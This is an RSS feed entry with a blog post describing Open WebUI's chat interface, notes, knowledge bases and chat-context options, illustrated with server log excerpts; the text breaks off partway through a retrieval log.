<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Sebastian</title>
    <description>The latest articles on DEV Community by Sebastian (@admantium).</description>
    <link>https://dev.to/admantium</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F293754%2Fd729fdfe-66dd-4fe7-a2ed-9808c1fcb46d.png</url>
      <title>DEV Community: Sebastian</title>
      <link>https://dev.to/admantium</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/admantium"/>
    <language>en</language>
    <item>
      <title>Open WebUI: Chat Interface &amp; Context Options</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 10 Sep 2026 05:40:46 +0000</pubDate>
      <link>https://dev.to/admantium/open-webui-chat-interface-context-options-1a9k</link>
      <guid>https://dev.to/admantium/open-webui-chat-interface-context-options-1a9k</guid>
      <description>&lt;p&gt;Open WebUI is one of the first tools that appeared in conjunction with Large Language Models. Initially intended as a tool for chatting with a connected local Ollama instance, it evolved to work with any OpenAI API provider and succinctly extended its features to support agentic chats.&lt;/p&gt;

&lt;p&gt;Following the setup of Open WebUI in my previous post, this article explores its core features. Learn about conversation essentials, see how notes and knowledge bases are created, and understand the different options to provide chat context.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;openwebui v0.9.6&lt;/code&gt;, published on 2026-06-01. The setup and configuration examples should also work with newer versions.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I am fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbatim copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/llm38_open_webui_chat_features/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Open WebUI Startpage
&lt;/h2&gt;

&lt;p&gt;Open WebUI's start page shows organizational features in the menu list on the left side, and a chat interface to start a new conversation on the right side.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flokl2ce47inoq9qn1z0s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flokl2ce47inoq9qn1z0s.png" width="800" height="417"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this view, the following options can be accessed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;New Chat: Reloads the current window with a new chat on the right panel side&lt;/li&gt;
&lt;li&gt;Search: Searches for keywords in past conversations and also allows starting a new conversation or creating a new node&lt;/li&gt;
&lt;li&gt;Notes: Create markdown-structured files that serve as structural content for your conversations&lt;/li&gt;
&lt;li&gt;Workspace: Create customized models with a base model, prompts, tools, and knowledge bases&lt;/li&gt;
&lt;li&gt;Folders: Structure individual chats into topics by either clicking on a folder and starting a new chat or by dragging and dropping an existing chat into the folder&lt;/li&gt;
&lt;li&gt;Chats: A list of past interactions&lt;/li&gt;
&lt;li&gt;User Icon: Access additional settings specific to the user&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Features related to the chat interface are explored in the next sections.&lt;/p&gt;

&lt;h2&gt;
  
  
  Basic Chat Features
&lt;/h2&gt;

&lt;p&gt;Chatting is the core user interaction feature of Open WebUI. As it has become a de facto standard, chat bubbles from the user and model are displayed top-down, right- and left-aligned respectively. For the latest model answer, all interaction icons are shown, as well as a list of follow-up prompts.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffpjoad4nw26ft78np0gr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffpjoad4nw26ft78np0gr.png" width="800" height="557"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When hovering over a user chat bubble, the following functions are shown:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Edit: Changes the content of the message but does not trigger a new answer generation from the model&lt;/li&gt;
&lt;li&gt;Copy: Puts the message content into the computer's clipboard&lt;/li&gt;
&lt;li&gt;Delete: Deletes this message and the immediately following LLM answer&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The model answer bubble offer these features:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Edit: Opens an inline editor to modify the LLM answer and, when saved, persists this answer to the internal chat log&lt;/li&gt;
&lt;li&gt;Copy: Copies the complete message, including its formatting, to the computer's memory&lt;/li&gt;
&lt;li&gt;Read aloud: Starts the browser's text-to-speech integration to read the answer&lt;/li&gt;
&lt;li&gt;Good Response &amp;amp; Bad Response: Rate a particular LLM answer, see below for an explanation&lt;/li&gt;
&lt;li&gt;Continue Response: Sends the user message and the assistant message again, which can extend the original answer&lt;/li&gt;
&lt;li&gt;Regenerate: Recreates the selected answer by passing all previous conversation context to the LLM again once completed, the new answer is shown to the user and saved in the conversation history&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;An interesting feature is the option to rate the answer, called "Good Response" and "Bad Response". When clicked, a dialog is opened at the top of the screen where a numerical rating and a short tag can be provided. This data is stored in your Open WebUI instance, and admin users can access analytics and evaluation dashboards that factor in these answers. Ratings are useful for a large user base and model availability, helping to determine which models are perceived as most helpful for their intended tasks. Here is a screenshot for rating an unhelpful answer.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzdkmzvlbvh3mwce7n25j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzdkmzvlbvh3mwce7n25j.png" width="799" height="458"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Additionally to storing locally, you can also add a public review of this model which is published on the &lt;a href="https://openwebui.com/models" rel="noopener noreferrer"&gt;Open WebUI model rating page&lt;/a&gt;, where you can provide a review for this specific model.&lt;/p&gt;

&lt;h2&gt;
  
  
  Notes
&lt;/h2&gt;

&lt;p&gt;Notes are named files stored internally in your Open WebUI instance.&lt;/p&gt;

&lt;p&gt;The notes menu shows a list of browsable and searchable notes, and you can add a new note or open an existing one.&lt;/p&gt;

&lt;p&gt;The note editor provides standard text formatting including headings, lists, tasks, bold and italic fonts, and code blocks. Note content can be recorded from an audio message, and a model can be invoked to edit the content directly. The complete note can also be exported to other formats and even a link can be generated. Here is a screenshot.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu9lazcmleck1tfag7uoh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu9lazcmleck1tfag7uoh.png" width="800" height="660"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notes can be used in chats in three different ways: a) directly in the note editor, you can start a chat with the note, b) in a chat by adding the note, c) when an advanced feature called terminal - a separate runtime in which code can be executed - is available, tool calls like &lt;code&gt;search_notes&lt;/code&gt; or &lt;code&gt;write_note&lt;/code&gt; can access notes dynamically.&lt;/p&gt;

&lt;h2&gt;
  
  
  Workspace Knowledge
&lt;/h2&gt;

&lt;p&gt;Workspaces are a powerful feature that governs support for agentic usage. In the context of this article, only knowledge bases as context to chats are explored.&lt;/p&gt;

&lt;p&gt;Follow these steps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In the main GUI click on &lt;code&gt;Workspace&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;In the horizontal menu area click on Knowledge and then on the button &lt;code&gt;+ New Knowledge&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Fill in the following form then click on &lt;code&gt;Create Knowledge&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This results in a new screen showing a list of sources. With the &lt;code&gt;+&lt;/code&gt; symbol, the knowledge base can be edited.&lt;/p&gt;

&lt;p&gt;New original resources can be added with these options:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Upload files: Upload files from your computer supporting text documents PDF DOC and CSV files but not images&lt;/li&gt;
&lt;li&gt;Upload directory: Select a local directory which triggers individual file uploads for all of its contained and supported files&lt;/li&gt;
&lt;li&gt;Add webpage: Process the provided HTTP resource extract its text content and store it note be sure to add an address for which no HTTP redirect occurs or otherwise the redirect information will be stored instead&lt;/li&gt;
&lt;li&gt;Add text content: This option opens an editor field into which you can paste any text information&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The structure and content of the knowledge base can be altered as follows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;New directory: Create a logical node to help structure documents&lt;/li&gt;
&lt;li&gt;Sync directory: Rescans an uploaded directory which removes any files from the knowledge base that are no longer present and adds all new or modified sources&lt;/li&gt;
&lt;li&gt;Reset: Completely deletes all stored content from the knowledge base&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When documents are added to the knowledge base, the same process is triggered: text is extracted from the sources, split into content chunks, processed by an embedding model, and stored in an internal database.&lt;/p&gt;

&lt;p&gt;Here is a screenshot of a knowledge base that includes my blog articles about Claude Code.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs662u6p4vst0umkf6y3i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs662u6p4vst0umkf6y3i.png" width="799" height="344"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Providing Chat Context
&lt;/h2&gt;

&lt;p&gt;Open WebUI offers several options to provide context to your chat interactions.&lt;/p&gt;

&lt;p&gt;Here is a screenshot where a note is already attached and additional sources can be added.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd80t5gqjk6ekxjiy8vfn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd80t5gqjk6ekxjiy8vfn.png" width="800" height="492"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Original Documents
&lt;/h3&gt;

&lt;p&gt;New information is injected into the conversation as follows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Upload files: Supported documents are parsed and their full content attached to the next message&lt;/li&gt;
&lt;li&gt;Capture: Opens the browser's function to make a screenshot of specific windows or the entire screen&lt;/li&gt;
&lt;li&gt;Attach Webpage: Provide an HTTP link as a document source from which plain text information will be obtained and added to the message sent to the LLM endpoint&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Two aspects should be noted:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Automatic embedding: Open WebUI automatically detects the data format determines token splitting and embedding for text processes and stores these files This results in typical log messages as shown
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;open-webui&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-06-21T08:16:49.769+00:00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"info"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"msg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"192.168.65.1:45505 - &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;POST /api/v1/files/?process=true HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; 200"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"caller"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"uvicorn.protocols.http.httptools_impl:send:483"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;open-webui&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-06-21T08:16:51.487+00:00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"info"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"msg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"192.168.65.1:45505 - &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;GET /api/v1/files/db47a1a8-3f19-4a5c-afcd-1cdb056306c1/process/status?stream=true HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; 200"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"caller"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"uvicorn.protocols.http.httptools_impl:send:483"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;open-webui&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-06-21T08:16:51.518+00:00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"info"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"msg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Using markdown header text splitter"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"caller"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"open_webui.routers.retrieval:save_docs_to_vector_db:1412"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;open-webui&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-06-21T08:16:51.521+00:00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"info"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"msg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"generating embeddings for file-db47a1a8-3f19-4a5c-afcd-1cdb056306c1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"caller"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"open_webui.routers.retrieval:save_docs_to_vector_db:1490"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Batches:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="err"&gt;%|██████████|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;7.88&lt;/span&gt;&lt;span class="err"&gt;it/s&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;open-webui&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-06-21T08:16:53.569+00:00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"info"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"msg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"embeddings generated 16 for 16 items"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"caller"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"open_webui.routers.retrieval:save_docs_to_vector_db:1536"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;open-webui&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-06-21T08:16:53.570+00:00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"info"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"msg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"adding to collection file-db47a1a8-3f19-4a5c-afcd-1cdb056306c1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"caller"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"open_webui.routers.retrieval:save_docs_to_vector_db:1548"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;open-webui&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-06-21T08:16:53.840+00:00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"info"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"msg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"added 16 items to collection file-db47a1a8-3f19-4a5c-afcd-1cdb056306c1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"caller"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"open_webui.routers.retrieval:save_docs_to_vector_db:1554"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;open-webui&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-06-21T08:16:53.840+00:00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"info"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"msg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"added 1 items to collection file-db47a1a8-3f19-4a5c-afcd-1cdb056306c1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"caller"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"open_webui.routers.retrieval:process_file:1730"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Session specificity: Documents are used for one turn in the chat conversation only meaning one message to and from the LLM Later user messages cannot implicitly reference an already added document from earlier messages However Open WebUI itself can query uploaded documents and extract relevant content Here is an example log message where I uploaded a blog article and asked about its content
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;open-webui&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-06-21T08:34:27.873+00:00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"info"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"msg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"query_doc:result [['1c2776cd-b009-4d43-b20e-7f400b31269d', '08ea65ce-4c62-42f0-a897-6d2cbc0e2bd1', 'ae5f230c-ad8b-41a2-8d43-eaeedd75db99']] [[{'source': 'claude01_introduction.md', 'start_index': 2434, 'hash': '3e1955b782967e3d3ba5eed557e3c6a1de1b7c930b8267bd8ad76c122d5834c6', 'file_id': 'db47a1a8-3f19-4a5c-afcd-1cdb056306c1', 'embedding_config': &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;{'engine': '', 'model': 'sentence-transformers/all-MiniLM-L6-v2'}&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;, 'created_by': 'b5b63a0d-ab5c-463e-ac3f-5ceacb6f3f94', 'name': 'claude01_introduction.md'}, {'embedding_config': &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;{'engine': '', 'model': 